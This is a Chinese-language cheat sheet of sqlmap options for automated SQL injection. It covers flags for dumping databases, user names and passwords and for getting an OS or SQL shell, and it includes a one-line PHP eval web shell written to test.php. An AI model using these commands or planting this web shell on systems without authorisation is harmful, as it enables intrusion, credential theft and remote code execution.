sqlmap常用命令:
学习sqlmap的利用:
sqlmap 自动化sql注入工具
-u 注入的url
-r http请求包的地址
–data 以post形式提交的数据
–cookie cookie传递的值
–user-agent user-agent头
–referer referer值
–delay 相邻包之间的间隔时间
-p 指定优先注入的参数
–skip 跳过注入的参数
-v 3 payload 4 http请求包
–level 分5级
2: cookie
3: referer|user-agent
5: http host头
–risk 分3级
默认级别1
2: 增加heavy query类型的时间注入
3: 增加or语句
–dbs 所有的数据库名
–usernames 所有的用户名
–passwords 密码
–technique 策略 U E B T
–is-dba 是否是数据库管理员
-D database_name --tables 获得指定数据库下的表的名称
-D database_name -T table_name --columns 获得指定数据库下指定表中的字段的名称
-D database_name -T table_name -C column_name, xxx --dump 读取指定数据库下指定表中的字段的值
–dump-all 读取所有库下所有表中的字段的值
–proxy 设置sqlmap流量转发代理
–prefix 设置payload前缀
–suffix 设置payload后缀
–os-shell 获取对应的命令执行终端
echo ^<?php eval($_POST[‘bihuo.cn’]);?^> > ./test.php
–tamper=脚本名.py
– purge 清空
–batch 全自动
–technique :指定使用哪种注入类型
速度排序=联合(U)>报错(E)>布尔(Bool)>延迟(Time)
sql-shell获取sql\命令行
扫一扫
1283
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
